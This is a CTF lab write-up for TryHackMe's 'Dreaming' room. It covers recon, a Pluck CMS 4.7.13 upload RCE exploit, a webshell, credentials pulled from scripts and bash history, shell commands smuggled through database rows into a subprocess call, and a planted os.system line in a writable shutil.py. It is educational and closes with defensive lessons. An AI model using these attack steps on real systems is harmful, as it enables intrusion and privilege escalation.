# Dreaming

> ## NOTE: **My IP address will be different from yours!**

## Lab Info

| Detail | Info |
| --- | --- |
| Room | [Dreaming](https://tryhackme.com/room/dreaming) |
| Platform | [TryHackMe](http://tryhackme.com) |
| Difficulty | Easy — Intermediate |
| Type | CTF / Web Exploitation + Privilege Escalation |
| Knowledge Required | Web, Linux, MySQL, Python |

* * *

## Tools Used

*   **Nmap** — Port scanning and service detection
    
*   **Gobuster** — Web directory enumeration
    
*   **Exploit-DB** — CVE lookup (CVE-2020-29607)
    
*   **Python exploit script (EDB-49909)** — Pluck CMS authenticated RCE
    
*   **p0wny webshell** — Remote code execution via browser
    
*   **MySQL client** — Database enumeration and command injection
    

* * *

## Recon

As always, I start with Nmap before touching anything else.

```shell
nmap -T4 -Pn -A 10.49.160.69
```

```shell
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)
```

Two ports open — SSH and HTTP. The web server returned the default Apache Ubuntu page, which means nothing is served at the root. Time to fuzz for directories.

```shell
gobuster dir -u http://10.49.160.69 -w /usr/share/seclists/Discovery/Web-Content/common.txt
```

Gobuster found one interesting result: `/app` (Status: 301). Navigating to it showed a directory listing with a single folder: `pluck-4.7.13/`.

* * *

## Identifying the CMS

Clicking into `/app/pluck-4.7.13/` loaded a site called "dreaming" running Pluck CMS. Checking the page source confirmed it: a meta generator tag showing `pluck 4.7.13`, and in the footer, a link pointing directly to the admin login page at `/app/pluck-4.7.13/login.php`.

Before trying anything fancy, I checked Exploit-DB for known vulnerabilities in this version.

* * *

## Initial Foothold — CVE-2020-29607

Exploit-DB had exactly what I needed: **EDB-49909**, a File Upload Remote Code Execution vulnerability in Pluck CMS 4.7.13 (CVE-2020-29607). It's an authenticated exploit, meaning I need valid credentials first.

I tried the most obvious password possible: `password`. It worked.

With admin access confirmed, I ran the Python exploit script:

```shell
python3 exploit.py 10.49.160.69 80 password /app/pluck-4.7.13
```

The script authenticated, uploaded a PHP webshell (`shell.phar`) through the "manage files" functionality, and printed its location:

```shell
Uploaded Webshell to: http://10.49.160.69:80/app/pluck-4.7.13/files/shell.phar
```

Navigating to that URL gave me a p0wny webshell running as `www-data`.

* * *

## Flag 1 — Lucien

From the webshell, I listed `/home` and found four users: `death`, `lucien`, `morpheus`, `ubuntu`.

Trying to read any of their flag files directly as `www-data` returned Permission denied. So I searched for files owned by lucien:

```shell
find / -type f -user lucien 2>/dev/null
```

One result stood out immediately: `/opt/test.py`

Reading it revealed a Python script that automates logging into the Pluck CMS — and it had lucien's password hardcoded in plaintext.

I SSHed in as lucien using that password and got the first flag:

```shell
cat lucien_flag.txt
THM{REDACTED}
```

* * *

## Flag 2 — Death (SQL Injection → Command Injection)

This is where it gets interesting.

As lucien, I navigated to `/home/death`. The flag file and `getDreams.py` were both permission denied. But `sudo -l` showed something useful:

```shell
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
```

Lucien can run `getDreams.py` as death, but can't read it. Fortunately, there was a readable copy sitting in `/opt/getDreams.py`. Reading it showed a script that connects to a local MySQL database (`library`), pulls rows from the `dreams` table, and passes the `dreamer` and `dream` values into a subprocess call — with zero sanitization.

I then checked lucien's `.bash_history` and found the MySQL credentials sitting there in plaintext.

```shell
mysql -u lucien -p[REDACTED]
```

```sql
use library;
select * from dreams;
```

Found 4 rows (Alice, Bob, Carol, Dave with their dreams). The script echoed each row in the format `dreamer + dream`. Since this gets passed unsanitized to subprocess, I could inject shell commands through the `dreamer` field.

First I tested it:

```sql
INSERT INTO dreams (dreamer, dream) values ('whoami | bash', '-l');
```

```shell
sudo -u death /usr/bin/python3 /home/death/getDreams.py
```

Output printed `death` alongside the other rows. **Command injection confirmed.**

Then I used the same trick to read the actual `getDreams.py` in death's home directory (the one we couldn't read before):

```sql
INSERT INTO dreams (dreamer, dream) values ('cat /home/death/getDreams.py | bash', '-l');
```

Ran the script again. This time it dumped the file contents as output — including death's password in plaintext.

```shell
su death
cat /home/death/death_flag.txt
THM{REDACTED} 
```

* * *

## Flag 3 — Morpheus (Python Library Hijacking)

As death, I moved to `/home/morpheus`. Three files: `kingdom`, `restore.py`, and `morpheus_flag.txt` (Permission denied).

Reading `restore.py`:

```python
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
```

It imports `copy2` from the `shutil` Python library and runs a backup. This script is clearly being executed on a schedule by a cron job running as morpheus.

I checked the actual `shutil.py` library file:

```shell
find / -type f -name shutil.py 2>/dev/null
ls -la /usr/lib/python3.8/shutil.py
```

```shell
-rw-rw-r-- 1 root death 51474 Mar 18 2025 /usr/lib/python3.8/shutil.py
```

The file is owned by root but the `death` group has **write permission**. Since I'm currently death, I can edit the library itself — this is **Python library hijacking**.

I injected a line into the `copy2` function inside `shutil.py`:

```python
os.system('chmod 777 /home/morpheus/morpheus_flag.txt')
```

(Had to set `TERM=xterm-256color` first because nano was throwing a terminal error.)

Then I waited. Within a minute, the cron job triggered `restore.py`, which imported `shutil`, which executed my injected line as morpheus, which changed the flag file's permissions.

```bash
cat morpheus_flag.txt
THM{REDACTED} 
```

* * *

## Flag Summary

| Flag | Method |
| --- | --- |
| Lucien | Hardcoded credentials in `/opt/test.py` |
| Death | SQL injection → command injection via `getDreams.py` |
| Morpheus | Python library hijacking via writable `shutil.py` + cron job |

* * *

## Key Takeaways

**1\. Default passwords are never a joke** The CMS admin password was literally `password`. Always change default credentials before deploying anything.

**2\. Never hardcode credentials** Both lucien's password (in `/opt/test.py`) and death's password (inside `getDreams.py`) were stored in plaintext inside readable script files. Credentials belong in environment variables or a secrets manager, not source code.

**3\. Sanitize database input before using it in shell commands** The `getDreams.py` script fetched unsanitized data from a database and passed it to subprocess. This created a SQL → OS command injection chain. If the input had been sanitized, the entire path to death's account would have been blocked.

**4\. Python library permissions matter** A writable Python library file is a privilege escalation waiting to happen — especially when a higher-privileged cron job imports it. Standard library files should never be group-writable.

**5\. bash\_history leaks more than you think** MySQL credentials and navigation patterns were sitting in `.bash_history`. In a real engagement, this file alone can save hours of enumeration.

* * *

*Day 2 of 30 ✅ — See you tomorrow.*
